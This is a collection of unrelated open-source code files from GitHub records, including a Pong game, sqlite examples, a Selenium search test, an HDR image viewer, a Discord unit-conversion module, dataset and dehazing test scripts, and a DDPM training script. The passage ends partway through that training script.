ball.xcor() > 380:\r\n ball.reset_position()\r\n scoreboard.l_point()\r\n\r\n # Detect l paddle miss\r\n if ball.xcor() < -380:\r\n ball.reset_position()\r\n scoreboard.r_point()\r\n\r\n# To check the screen specifications\r\n# The screen disappears otherwise\r\nscreen.exitonclick()\r\n","repo_name":"nive927/Python-Projects","sub_path":"14-Pong/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12363002458","text":"import sqlite3\n\ndef create_table():\n\n query = \"\"\"create TABLE test (id INTEGER PRIMARY KEY, name TEXT);\"\"\"\n conn = sqlite3.connect('p02_007_6-4_query_database.db')\n conn.execute(query)\n conn.commit()\n conn.close()\n\ndef insert_data():\n conn = sqlite3.connect('p02_007_6-4_query_database.db')\n in_data = [(i, 'name' + str(i)) for i in range(10)]\n stmt = \"INSERT INTO test VALUES (?,?);\"\n conn.executemany(stmt, in_data)\n conn.commit()\n conn.close()\n\ndef query_data():\n conn = sqlite3.connect('p02_007_6-4_query_database.db')\n cursor = conn.execute('SELECT * FROM test;')\n rows = cursor.fetchall()\n print(rows)\n\n conn.close()\n\ndef db_query_database():\n # 引入sqlalchemy 不需要每次重复很多步骤去执行游标\n import sqlalchemy as sqla\n import pandas as pd\n engine = sqla.create_engine('sqlite:///p02_007_6-4_query_database.db')\n conn = engine.connect()\n # cursor = conn.execute('SELECT * FROM test;')\n print(pd.read_sql('select * from test', engine))\n \n conn.close()\n\n\n\nif __name__ == '__main__':\n # select one option below:\n # 1. Create\n # create_table()\n # 2. Insert\n # insert_data()\n # 3. Query\n # query_data()\n\n # 4. Query database\n db_query_database()","repo_name":"feelins/Python-Data-Innovation","sub_path":"Part-02/P02_007_Python_for_Data_Analysis/Chap06/p02_007_6-4_query_database.py","file_name":"p02_007_6-4_query_database.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"4107519043","text":"import unittest\nfrom base import Base\nfrom _common.search import Search\n\n\nclass Challenge2(Base):\n\n def test_challenge2(self):\n self.driver.get(\"https://www.copart.com\")\n Search.searchBar(self, \"exotics\")\n\n # Searches the results table for any and all 'PORSCHE'\n makes = self.driver.find_elements_by_xpath(\"//*[@id=\\\"serverSideDataTable\\\"]//span[contains(text(),\\\"PORSCHE\\\")]\")\n\n # Asserts that at least one 'PORSCHE' was found in the results table\n self.assertTrue(len(makes)>0,\"Porsche was NOT found in the search results.\")\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"jmackay-doterra/challenges","sub_path":"challenge2.py","file_name":"challenge2.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15403170671","text":"import os\nimport array\nimport numpy as np\nimport smc.freeimage as fi\nfrom PyQt5.QtCore import QDir, Qt, pyqtSignal, QMimeData, QFileSystemWatcher\nfrom PyQt5.QtGui import QImage, QPixmap, QPalette\nfrom PyQt5.QtWidgets import (\n\tQWidget, QApplication, QMainWindow, QAction, QLabel, QMenu,\n\tQFileDialog, QMessageBox, QSizePolicy, QScrollArea, QVBoxLayout)\n\nclass ImageLabel(QLabel):\n\n\tsizeChanged = pyqtSignal(int, int)\n\n\tdef __init__(self, parent=None):\n\t\tsuper(ImageLabel, self).__init__(parent)\n\t\tself.setBackgroundRole(QPalette.Base)\n\t\tself.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Ignored)\n\t\tself.setScaledContents(True)\n\t\tself.setAcceptDrops(True)\n\t\tself.setAlignment(Qt.AlignCenter)\n\n\tdef dragEnterEvent(self, event):\n\t\tself.setBackgroundRole(QPalette.Highlight)\n\t\tevent.acceptProposedAction()\n\n\tdef dragMoveEvent(self, event):\n\t\tevent.acceptProposedAction()\n\n\tdef dropEvent(self, event):\n\t\t# Get path of dropped file\n\t\tmimeData = event.mimeData()\n\t\tif mimeData.hasUrls():\n\t\t\tfilename = mimeData.urls()[0].toLocalFile()\n\t\t\tself.load(filename)\n\t\tevent.acceptProposedAction()\n\n\tdef dragLeaveEvent(self, event):\n\t\tself.clear()\n\t\tevent.accept()\n\n\tdef load(self, filename):\n\t\t# Load HDR image with FreeImage\n\t\timage = self.loadHDRImage(filename)\n\t\tif image is None:\n\t\t\treturn False\n\n\t\t# Change window size\n\t\tself.sizeChanged.emit(image.width(), image.height())\n\n\t\t# Set the image to imageLabel\n\t\tself.setPixmap(QPixmap.fromImage(image))\n\t\tself.adjustSize()\n\n\t\t# Begin to watch modification\n\t\tself.watcher = QFileSystemWatcher()\n\t\tself.watcher.addPath(filename)\n\t\tself.watcher.fileChanged.connect(self.onFileChanged)\n\n\t\treturn True\n\n\tdef loadHDRImage(self, filename):\n\t\ttry:\n\t\t\t# Load image\n\t\t\timg = fi.Image(filename).flipVertical()\n\t\t\tfloats = array.array(\"f\", img.getRaw())\n\t\t\timageArray = np.array(floats).reshape((img.width, img.height, 3))\n\n\t\t\t# HDR compression\n\t\t\timageArray_RGB8 = (np.clip(np.power(imageArray, 1/2.2), 0, 1) * 255).astype(np.uint8)\n\n\t\t\t# Convert to QImage\n\t\t\treturn QImage(imageArray_RGB8.tostring(), img.width, img.height, QImage.Format_RGB888)\n\n\t\texcept fi.FreeImageError:\n\t\t\treturn None\n\n\tdef onFileChanged(self, path):\n\t\tif os.path.isfile(path):\n\t\t\tself.load(path)\n\t\telse:\n\t\t\tself.clear()\n\t\t\tself.sizeChanged.emit(200, 200)\n\nclass HDRImageViewer(QMainWindow):\n\tdef __init__(self, parent=None):\n\t\tsuper(HDRImageViewer, self).__init__(parent)\n\n\t\t# Label for image\n\t\tself.imageLabel = ImageLabel()\n\t\tself.imageLabel.sizeChanged.connect(self.setFixedSize)\n\n\t\t# Layout\n\t\tmainLayout = QVBoxLayout()\n\t\tmainLayout.setContentsMargins(0, 0, 0, 0)\n\t\tmainLayout.addWidget(self.imageLabel)\n\t\tmainWidget = QWidget()\n\t\tmainWidget.setLayout(mainLayout)\n\t\tself.setCentralWidget(mainWidget)\n\n\t\t# Create actions\n\t\tself.openAction = QAction(\"&Open...\", self, shortcut=\"Ctrl+O\", triggered=self.open)\n\t\tself.exitAction = QAction(\"E&xit\", self, triggered=self.close)\n\n\t\t# Create menus\n\t\tself.fileMenu = QMenu(\"&File\", self)\n\t\tself.fileMenu.addAction(self.openAction)\n\t\tself.fileMenu.addSeparator()\n\t\tself.fileMenu.addAction(self.exitAction)\n\t\tself.menuBar().addMenu(self.fileMenu)\n\n\t\t# Title and initial window size\n\t\tself.setWindowTitle(\"hdrviewer\")\n\t\tself.setFixedSize(200, 200)\n\n\tdef open(self):\n\t\tfilename, _ = QFileDialog.getOpenFileName(self, \"Open File\", QDir.currentPath(), \"HDR Image (*.hdr, *.exr)\")\n\t\tif filename:\n\t\t\tif not self.imageLabel.load(filename):\n\t\t\t\tQMessageBox.information(self, \"hdrviewer\", \"Failed to load %s\" % filename)\n\nif __name__ == '__main__':\n\timport sys\n\tapp = QApplication(sys.argv)\n\tviewer = HDRImageViewer()\n\tviewer.show()\n\tsys.exit(app.exec_())\n","repo_name":"hi2p-perim/nanohdrviewer","sub_path":"nanohdrviewer.py","file_name":"nanohdrviewer.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"4967173105","text":"import lib.log_class as logclass\nimport logging,os,sys\nimport lib.monitor_db_class as monitordbclass\nimport lib.error_email_class as errorEmailClass\n\ndef cur_file_dir():\n path = sys.path[0]\n if os.path.isdir(path):\n return path\n elif os.path.isfile(path):\n return os.path.dirname(path)\n\ndef run():\n codeRootdir = cur_file_dir()\n logging.basicConfig(level=logging.WARNING,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename=codeRootdir+'/cache_/log/' + 'error' + '.event.log',\n filemode='w')\n log_Obj = logclass.log(codeRootdir)\n status = log_Obj.parse_log()\n\n # monitordb_obj = monitordbclass.monitor_db(codeRootdir)\n # monitordb_obj.db_see()\n\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"sywangs/error","sub_path":"log_run.py","file_name":"log_run.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35068533877","text":"from json import loads\nfrom os import listdir\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfiles = sorted(listdir('./info'))\ndatasetID = 'k5110'\nvpID = 1\nvpName = 'ES'\nvpFiles = files[24 * (vpID - 1):24 * vpID]\n\npos = 0\nposOfEdges = dict()\n\nfor file in vpFiles:\n with open(f'./info/{file}') as f:\n lines = f.readlines()\n for line in lines:\n l = line[:-1].split('\\t')\n if not l[2].startswith('{\"'): # error message\n continue\n\n info = loads(l[2])\n edge = info[\"NODE\"]\n\n if edge not in posOfEdges.keys():\n posOfEdges[edge] = []\n posOfEdges[edge].append(pos)\n pos += 1\n\nedges = list(posOfEdges.keys())\nposes = list(posOfEdges.values())\ndiffs = [np.diff(sorted(p)) for p in poses]\n# diffs = [diff[diff <= 100] for diff in diffs]\n\n\nfig, ax = plt.subplots()\n\nax.hist(diffs, bins=100, stacked=True)\n\n# ax.set_xlabel('interval [0, 100] (reply)')\nax.set_xlabel('interval (reply)')\nax.set_ylabel('count')\n\nax.set_title(f'histogram of Interval per Edge {datasetID}_{vpID}_{vpName}')\n\nfig.savefig(f'./histIpEr_{datasetID}_{vpID}_{vpName}.png')\nfig.clear()\n","repo_name":"hy-chou/1101-toy-project","sub_path":"analyze/histIntervalPerEdge.py","file_name":"histIntervalPerEdge.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11424569139","text":"\"\"\"Automatic unit conversion.\"\"\"\nimport re\n\nfrom aid import numbers\nfrom bot.data import default_values\nfrom bot.data import definitions\nfrom framework import embeds\n\nconversion_dict = {\n \"mile\": [\"kilometre\"],\n \"kilometre\": [\"mile\"],\n \"metre\": [\"foot\"],\n \"yard\": [\"metre\"],\n \"foot\": [\"metre\"],\n \"inch\": [\"centimetre\"],\n \"centimetre\": [\"inch\"],\n \"pica\": [\"centimetre\"],\n \"millimetre\": [\"inch\"],\n \"acre\": [\"square_metre\"],\n \"square_metre\": [\"acre\"],\n \"celsius\": [\"fahrenheit\"],\n \"fahrenheit\": [\"celsius\"],\n \"imperial_gallon\": [\"litre\", \"us_gallon\"],\n \"us_gallon\": [\"litre\", \"imperial_gallon\"],\n \"litre\": [\"us_gallon\", \"imperial_gallon\"],\n \"imperial_cup\": [\"desilitre\"],\n \"us_legal_cup\": [\"desilitre\"],\n \"desilitre\": [\"us_legal_cup\"],\n \"us_fluid_ounce\": [\"millilitre\", \"imperial_fluid_ounce\"],\n \"imperial_fluid_ounce\": [\"millilitre\", \"us_fluid_ounce\"],\n \"millilitre\": [\"us_fluid_ounce\"],\n \"stone\": [\"kilogram\", \"pound\"],\n \"kilogram\": [\"pound\", \"stone\"],\n \"pound\": [\"kilogram\", \"stone\"],\n \"ounce\": [\"gram\"],\n \"gram\": [\"ounce\"],\n \"milligram\": [\"ounce\"]}\n\n\nasync def detect_unit_mention(context):\n \"\"\"\n Detect if there is a conversion to be made.\n\n First processes message so that all hyperlinks are eliminated.\n \"\"\"\n message = await remove_hyperlinks(context.message.content)\n unit_matches = await get_unit_matches(context, message)\n\n has_info_reaction = False\n for reaction in context.message.reactions:\n if reaction.emoji == \"ℹ\" and reaction.me:\n has_info_reaction = True\n break\n\n if unit_matches and not has_info_reaction:\n await context.message.add_reaction(\"ℹ\")\n elif not unit_matches and has_info_reaction:\n await context.message.remove_reaction(\"ℹ\", context.message.guild.me)\n\n\nasync def remove_hyperlinks(message):\n \"\"\"Go through the message and return a new message string without them.\"\"\"\n return re.sub(r\"\\S*(?:(?:https?|ftp):\\/\\/)\\S*\", \"[url]\", message)\n\n\nasync def get_unit_matches(context, message):\n \"\"\"Get all unit matches from a message.\"\"\"\n unit_regex = r\"(? 100:\n msg += await convert_to_us_height(context, match)\n elif isinstance(match[1], str):\n msg += await convert_normal(context, match)\n elif isinstance(match[1], float):\n msg += await convert_from_us_height(context, match)\n\n message = embeds.PaginatedEmbed(\n await context.language.get_text(\"auto_conversion_title\"))\n\n member = context.message.guild.get_member(user_id)\n thumbnail = \"default\"\n if member:\n message.embed.title = await context.language.get_text(\n \"auto_conversion_request\", {\"name\": member.display_name})\n thumbnail = member.avatar_url\n\n message.embed.description = msg\n await message.send(context, thumbnail=thumbnail)\n\n\nasync def convert_normal(context, match):\n \"\"\"Calculate normal conversions.\"\"\"\n base = {\n \"amount\": match[0],\n \"key\": match[1],\n \"rate\": 0,\n \"zero_point\": 0}\n\n category = None\n for key, unit_category in default_values.UNIT_RATES.items():\n if base[\"key\"] in unit_category:\n category = default_values.UNIT_RATES[key]\n break\n\n targets = []\n for target_key in conversion_dict[base[\"key\"]]:\n targets.append(\n {\"amount\": base[\"amount\"],\n \"key\": target_key,\n \"rate\": 0,\n \"zero_point\": 0})\n\n if isinstance(category[base[\"key\"]], dict):\n base[\"rate\"] = category[base[\"key\"]][\"rate\"]\n base[\"zero_point\"] = category[base[\"key\"]][\"zero_point\"]\n\n for target in targets:\n target[\"rate\"] = category[target[\"key\"]][\"rate\"]\n target[\"zero_point\"] = category[target[\"key\"]][\"zero_point\"]\n\n else:\n base[\"rate\"] = category[base[\"key\"]]\n for target in targets:\n target[\"rate\"] = category[target[\"key\"]]\n\n base[\"unit\"] = await context.language.get_default_unit_symbol(base[\"key\"])\n base[\"formatted_amount\"] = await context.language.format_number(base[\"amount\"])\n base_unit_and_amount = await context.language.get_text(\n \"unit_representation\",\n {\"unit_amount\": base[\"formatted_amount\"], \"unit_name\": base[\"unit\"]})\n\n target_conv_list = []\n for target in targets:\n target[\"unit\"] = await context.language.get_default_unit_symbol(target[\"key\"])\n target[\"amount\"] = await numbers.convert(\n base[\"amount\"], base[\"rate\"], target[\"rate\"], base[\"zero_point\"],\n target[\"zero_point\"])\n\n target[\"formatted_amount\"] = await context.language.format_number(\n target[\"amount\"], decimal_rules=\".3f\")\n\n target_conv_list.append(await context.language.get_text(\n \"unit_representation\",\n {\"unit_amount\": target[\"formatted_amount\"], \"unit_name\": target[\"unit\"]}))\n\n target_conversions = await context.language.get_string_list(target_conv_list)\n\n return await context.language.get_text(\n \"unit_conversion\",\n {\"unit_and_amount\": base_unit_and_amount, \"conversion_list\": target_conversions})\n\n\nasync def convert_from_us_height(context, match):\n \"\"\"Calculate the U.S. height.\"\"\"\n height_text = \"{match[0]:.0f}′ {match[1]:.0f}″\".format(match=match)\n\n cm_rate = default_values.UNIT_RATES[\"length\"][\"centimetre\"]\n ft_rate = default_values.UNIT_RATES[\"length\"][\"foot\"]\n in_rate = default_values.UNIT_RATES[\"length\"][\"inch\"]\n\n centimetres = await numbers.convert(match[0], ft_rate, cm_rate)\n centimetres += await numbers.convert(match[1], in_rate, cm_rate)\n\n cm_text = await context.language.get_text(\n \"unit_representation\",\n {\"unit_amount\": await context.language.format_number(\n centimetres, decimal_rules=\".2f\"),\n \"unit_name\": await context.language.get_default_unit_symbol(\"centimetre\")})\n\n return await context.language.get_text(\n \"unit_conversion\", {\"unit_and_amount\": height_text, \"conversion_list\": cm_text})\n\n\nasync def convert_to_us_height(context, match):\n \"\"\"\n Convert to U.S. height.\n\n Fires if converting more than 100 centimetres.\n \"\"\"\n cm_rate = default_values.UNIT_RATES[\"length\"][\"centimetre\"]\n in_rate = default_values.UNIT_RATES[\"length\"][\"inch\"]\n\n inches = await numbers.convert(match[0], cm_rate, in_rate)\n feet, inches = divmod(inches, 12)\n\n feet_and_inches = \"{feet:.0f}′ {inches:.0f}″\".format(feet=feet, inches=inches)\n centimetres = await context.language.get_text(\n \"unit_representation\",\n {\"unit_amount\": await context.language.format_number(match[0]),\n \"unit_name\": await context.language.get_default_unit_symbol(\"centimetre\")})\n\n return await context.language.get_text(\n \"unit_conversion\",\n {\"unit_and_amount\": feet_and_inches, \"conversion_list\": centimetres})\n","repo_name":"saileille/mami","sub_path":"bot/mechanics/auto_convert.py","file_name":"auto_convert.py","file_ext":"py","file_size_in_byte":9683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13162672363","text":"import torch\nfrom torch.utils.data import Dataset as DS\nimport pandas as pd\nimport numpy as np\nimport os\n\nfrom helpers.data import get_label, read_pts_file, assign_labels\n\n\nclass Dataset(DS):\n def __init__(self, root_folder, suffix, transform=None, classes_to_use=None, data_augmentation=False):\n super().__init__()\n if classes_to_use is None:\n classes_to_use = ['cube', 'pyramid']\n self.root_folder = root_folder\n self.suffix = suffix\n self.data_augmentation = data_augmentation\n if 'all' in classes_to_use:\n self.classes_to_use = os.listdir(root_folder)\n else:\n self.classes_to_use = classes_to_use\n self.transform = transform\n #if self.suffix == '.pts':\n self.labels = assign_labels(root_folder)\n # Find all files in the root folder with the given suffix\n self.filepaths = []\n for subdir, dirs, files in os.walk(self.root_folder):\n for file in files:\n if file.endswith(self.suffix) and subdir.split('/')[-1] in self.classes_to_use:\n self.filepaths.append(os.path.join(subdir, file))\n\n def __len__(self):\n return len(self.filepaths)\n\n def __getitem__(self, index):\n filepath = self.filepaths[index]\n if 'csv' in self.suffix:\n # Load data from file\n arr = np.array(pd.read_csv(filepath))\n elif 'pts' in self.suffix:\n arr = read_pts_file(filepath)\n else:\n raise NotImplementedError(\"This data type is not implemented at the moment.\")\n #target = (self.highest_shape, arr.shape[-1])\n #padding = [(0, target[0] - arr.shape[0]), (0, 0)]\n #padded_arr = np.pad(arr, padding)\n # Process data into a tensor\n #tensor_data = torch.tensor(padded_arr, dtype=torch.float)\n\n # Save the tensor to a folder\n #save_folder = os.path.join(self.root_folder, 'processed_data')\n #if not os.path.exists(save_folder):\n # os.makedirs(save_folder)\n #save_filepath = os.path.join(save_folder, f'{self.filename}_{index}.pt')\n #torch.save(tensor_data, save_filepath)\n\n cls = os.path.dirname(filepath).split('/')[-1]\n if cls in self.classes_to_use:\n label = self.labels[cls]\n else:\n raise NotImplementedError(\"This label is not included in the current dataset.\")\n\n if self.data_augmentation:\n theta = np.random.uniform(0, np.pi * 2)\n rotation_matrix = np.array([[np.cos(theta), -np.sin(theta)], [np.sin(theta), np.cos(theta)]])\n arr[:, [0, 2]] = arr[:, [0, 2]].dot(rotation_matrix) # random rotation\n arr += np.random.normal(0, 0.02, size=arr.shape) # random jitter\n\n sample = {'pc': arr,\n 'label': np.array(label),\n 'path': filepath}\n\n if self.transform is not None:\n sample = self.transform(sample)\n\n return sample\n\n","repo_name":"dianamindroc/smlm","sub_path":"dataset/SMLMDataset.py","file_name":"SMLMDataset.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45945123855","text":"import math\nimport os\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport cv2\n# from pytorch_msssim import ssim\nfrom torch.utils.data import DataLoader\nfrom collections import OrderedDict\n\nfrom utils import AverageMeter, write_img, chw_to_hwc, pad_img\nfrom datasets.loader import PairLoader\nfrom models import *\nfrom metrics import ssim, psnr, epe\n# from metrics_2 import ssim, psnr\n\n# torch.cuda.set_per_process_memory_fraction(0.1)\n\n\n# python test.py --data_dir=/home/tangzhifeng/codes/Dataset --test_set=I-HAZY-TEST --model=cxnet14_b --exp=i-hazy\nparser = argparse.ArgumentParser()\nparser.add_argument('--model', default='cxnet14_b', type=str, help='model name')\nparser.add_argument('--num_workers', default=16, type=int, help='number of workers')\nparser.add_argument('--data_dir', default='../Dataset', type=str, help='path to dataset')\nparser.add_argument('--save_dir', default='./saved_models/', type=str, help='path to models saving')\nparser.add_argument('--result_dir', default='./results/', type=str, help='path to results saving')\nparser.add_argument('--test_set', default='I-HAZY-TEST', type=str, help='test dataset name')\nparser.add_argument('--exp', default='i-hazy', type=str, help='experiment setting')\nargs = parser.parse_args()\n\n\ndef get_current_time():\n\timport datetime\n\n\t# Get the current time\n\tcurrent_time = datetime.datetime.now()\n\n\t# Format the time as a string in the desired format\n\tformatted_time = current_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\t# Output the time\n\treturn formatted_time\n\n\ndef single(save_dir):\n\tstate_dict = torch.load(save_dir)['state_dict']\n\tnew_state_dict = OrderedDict()\n\n\tfor k, v in state_dict.items():\n\t\tname = k[7:]\n\t\tnew_state_dict[name] = v\n\n\treturn new_state_dict\n\n\ndef to_psnr(dehaze, gt):\n mse = F.mse_loss(dehaze, gt, reduction='none')\n mse_split = torch.split(mse, 1, dim=0)\n mse_list = [torch.mean(torch.squeeze(mse_split[ind])).item() for ind in range(len(mse_split))]\n\n intensity_max = 1.0\n psnr_list = [10.0 * math.log10(intensity_max / mse) for mse in mse_list]\n return psnr_list\n\ndef test(test_loader, network, result_dir, img_name='imgs', result_name='results.csv', cycle_dehazing_size = 1):\n\tPSNR = AverageMeter()\n\tSSIM = AverageMeter()\n\tEPE = AverageMeter()\n\n\ttorch.cuda.empty_cache()\n\tnetwork.cuda()\n\tnetwork.eval()\n\t\n\n\tos.makedirs(os.path.join(result_dir, img_name), exist_ok=True)\n\tf_result = open(os.path.join(result_dir, result_name), 'w')\n\n\t_size = cycle_dehazing_size\n\tfor idx, batch in enumerate(test_loader):\n\t\t\n\t\t_size = cycle_dehazing_size\n\t\tinput = batch['source'].cuda()\n\t\ttarget = batch['target'].cuda()\n\n\t\tprint('input.shape = ', input.shape)\n\t\tprint('target.shape = ', target.shape)\t\t\n\n\t\tfilename = batch['filename'][0]\n\n\t\twith torch.no_grad():\n\t\t\tH, W = input.shape[2:]\n\t\t\tinput = pad_img(input, (512,512))\n\t\t\t\n\t\t\t# cycle dehazing\n\t\t\tcycel_input = input\n\n\t\t\tcycel_input = pad_img(cycel_input, 512)\n\n\t\t\twhile _size >= 1:\n\t\t\t\tif network.vis is not None:\n\t\t\t\t\tcycel_input, attention_map = network(cycel_input)\n\t\t\t\telse:\n\t\t\t\t\tcycel_input = network(cycel_input)\n\t\t\t\t_size -= 1\n\t\t\t\n\t\t\toutput = cycel_input\n\n\n\t\t\toutput = output * 0.5 + 0.5\n\t\t\ttarget = target * 0.5 + 0.5\n\t\t\t\n\t\t\ttarget = pad_img(target, 512)\n\t\t\toutput = pad_img(output, 512)\n\n\t\t\t# print('output.shape = ', output.shape)\n\t\t\t# print('target.shape = ', target.shape)\n\t\t\t_ssim = ssim(output, target).item()\n\t\t\t_psnr = psnr(output, target)\n\t\t\t_epe = epe(output, target)\n\t\t\t\t\n\n\t\t\tPSNR.update(_psnr)\n\t\t\tSSIM.update(_ssim)\n\t\t\tEPE.update(_epe)\n\n\t\t\tprint('Test: [{0}]\\t'\n\t\t\t\t'PSNR: {psnr.val:.02f} ({psnr.avg:.02f})\\t'\n\t\t\t\t'SSIM: {ssim.val:.03f} ({ssim.avg:.03f}), EPE: {epe.val:.03f} ({epe.avg:.03f})'.format(\n\t\t\t\tidx, psnr=PSNR, ssim=SSIM, epe=EPE))\n\n\t\t\tf_result.write('%s,%.02f,%.03f\\n'%(filename, _psnr, _ssim))\n\n\t\t\t# print('min_input = %.03f, max_input = %.03f'%(input.min(), input.max()))\n\t\t\t# print('min_output = %.03f, max_output = %.03f'%(output.min(), output.max()))\n\t\t\t# print('min_target = %.03f, max_target = %.03f'%(target.min(), target.max()))\n\n\t\t\t# input = input * 0.5 + 0.5\n\n\t\t\tinput = chw_to_hwc(input[0].cpu().numpy())\n\t\t\t# input = cv2.resize(input, (W, H))\n\t\t\tinput = cv2.cvtColor(input, cv2.COLOR_BGR2RGB)\n\n\t\t\t# output = output * 0.5 + 0.5\n\t\t\toutput = chw_to_hwc(output[0].cpu().numpy())\n\t\t\t# output = cv2.resize(output, (W, H))\n\t\t\toutput = cv2.cvtColor(output, cv2.COLOR_BGR2RGB)\n\t\t\t\n\n\t\t\t# target = target * 0.5 + 0.5\n\t\t\ttarget = chw_to_hwc(target[0].cpu().numpy())\n\t\t\t# target = cv2.resize(target, (W, H))\n\t\t\ttarget = cv2.cvtColor(target, cv2.COLOR_BGR2RGB)\n\n\t\t\twrite_img(os.path.join(result_dir, img_name, filename[:-4]+'_input.png'), input)\n\t\t\twrite_img(os.path.join(result_dir, img_name, filename[:-4]+'_predict.png'), output)\n\t\t\twrite_img(os.path.join(result_dir, img_name, filename[:-4]+'_gt.png'), target)\n\n\t\t\t# Cleanup\n\t\t\t# input, output, target, cycel_input, attention_map = None, None, None, None, None\n\t\t\t# _psnr, _ssim, _epe, H, W = None, None, None, None, None\n\t\t\tdel input, output, target, cycel_input\n\t\t\t_psnr, _ssim, _epe, H, W = None, None, None, None, None\n\n\t\t\ttorch.cuda.empty_cache()\n\t\t\timport gc\n\t\t\tgc.collect()\n\n\n\tf_result.close()\n\n\tos.rename(os.path.join(result_dir, result_name), \n\t\t\t os.path.join(result_dir, result_name.replace(\".csv\", \"\") + ' -> %.03f | %.04f.csv'%(PSNR.avg, SSIM.avg)))\n\n\ndef main():\n\tnetwork = eval(args.model)()\n\tnetwork.cuda()\n\tsaved_model_dir = os.path.join(args.save_dir, args.exp, args.model+'.pth')\n\n\tif os.path.exists(saved_model_dir):\n\t\tprint('==> Start testing, current model name: ' + args.model)\n\t\tnetwork.load_state_dict(single(saved_model_dir))\n\telse:\n\t\tprint('==> No existing best trained model!')\n\t\texit(0)\n\t\n\t# 如果是attention skip attention的话,就打印一下attention map\n\ttry:\n\t\tif network.vis is not None:\n\t\t\tnetwork.vis = True\n\texcept:\n\t\tnetwork.vis = None\n\n\tdataset_dir = os.path.join(args.data_dir, args.test_set)\n\ttest_dataset = PairLoader(dataset_dir, 'test')\n\ttest_loader = DataLoader(test_dataset,\n\t\t\t\t\t\t\t batch_size=1,\n\t\t\t\t\t\t\t num_workers=args.num_workers,\n\t\t\t\t\t\t\t pin_memory=True)\n\n\tresult_dir = os.path.join(args.result_dir, args.test_set, args.exp, args.model, get_current_time())\n\n\ttest(test_loader, network, result_dir, img_name='img_best_model', result_name='results_best_model.csv',cycle_dehazing_size=1)\n\n\n\tnetwork = eval(args.model)()\n\tnetwork.cuda()\n\tsaved_model_dir = os.path.join(args.save_dir, args.exp, args.model+'_last.pth')\n\n\ttry:\n\t\tif network.vis is not None:\n\t\t\tnetwork.vis = True\n\texcept:\n\t\tnetwork.vis = None\n\n\tif os.path.exists(saved_model_dir):\n\t\tprint('==> Start testing, current model name: ' + args.model)\n\t\tnetwork.load_state_dict(single(saved_model_dir))\n\telse:\n\t\tprint('==> No existing last trained model!')\n\t\texit(0)\n\ttest(test_loader, network, result_dir, img_name='img_last_model', result_name='results_last_model.csv',cycle_dehazing_size=1)\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"JavanTang/AGCD-Net","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24968883222","text":"import os\nimport copy\n\nimport tqdm\nimport yaml\nfrom absl import app, flags\nfrom tensorboardX import SummaryWriter\n\nimport megengine as mge\nimport megengine.functional as F\nimport megengine.distributed as dist\nimport megengine.optimizer as optim\nimport megengine.autodiff as autodiff\nfrom megengine import Tensor\n\nfrom ...data import build_dataloader\nfrom ...optimizer import build_optimizer\nfrom ...diffusion import GaussionDiffusion\nfrom ...diffusion.schedule import build_beta_schedule\nfrom ...model.ddpm import UNet\nfrom ...model.ema import ema\nfrom ...utils.transform import linear_scale, linear_scale_rev\nfrom ...utils.vision import make_grid, save_image\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string(\"config\", \"./configs/ddpm/cifar10.yaml\", help=\"configuration file\")\nflags.DEFINE_string(\"dataset_dir\", \"/data/datasets/CIFAR10\", help=\"dataset path\")\nflags.DEFINE_string(\"logdir\", \"./logs/DDPM_CIFAR10_EPS\", help=\"log directory\")\nflags.DEFINE_bool(\"resume\", False, help=\"resume training from saved checkpoint\")\nflags.DEFINE_bool(\"parallel\", False, help=\"multi gpu training\")\nflags.DEFINE_bool(\"dtr\", False, help=\"enable MegEngine DTR algorithm\")\n\ndef train():\n\n with open(FLAGS.config, \"r\") as file:\n config = yaml.safe_load(file)\n\n if FLAGS.parallel:\n num_worker = dist.get_world_size()\n rank = dist.get_rank()\n else:\n num_worker = 1\n\n if FLAGS.dtr:\n mge.dtr.enable()\n \n # data setup\n train_dataloader = build_dataloader(\n dataset = config[\"data\"][\"dataset\"],\n dataset_dir = FLAGS.dataset_dir,\n batch_size = config[\"training\"][\"batch_size\"],\n )\n train_queue = iter(train_dataloader)\n\n # model setup\n model = UNet(**config[\"model\"])\n ema_model = copy.deepcopy(model)\n\n optimizer = build_optimizer(\n params = model.parameters(),\n **config[\"optim\"][\"optimizer\"],\n )\n gm = autodiff.GradManager()\n\n sample_path = os.path.join(FLAGS.logdir, \"samples\")\n checkpoint_path = os.path.join(FLAGS.logdir, \"checkpoints\")\n\n if FLAGS.resume:\n checkpoint = mge.load(os.path.join(checkpoint_path, \"ckpt.pkl\"))\n model.load_state_dict(checkpoint[\"model\"])\n ema_model.load_state_dict(checkpoint[\"ema_model\"])\n optimizer.load_state_dict(checkpoint[\"optimizer\"])\n start_step = checkpoint[\"step\"]\n else:\n start_step = 0\n\n if num_worker > 1:\n dist.bcast_list_(model.tensors())\n 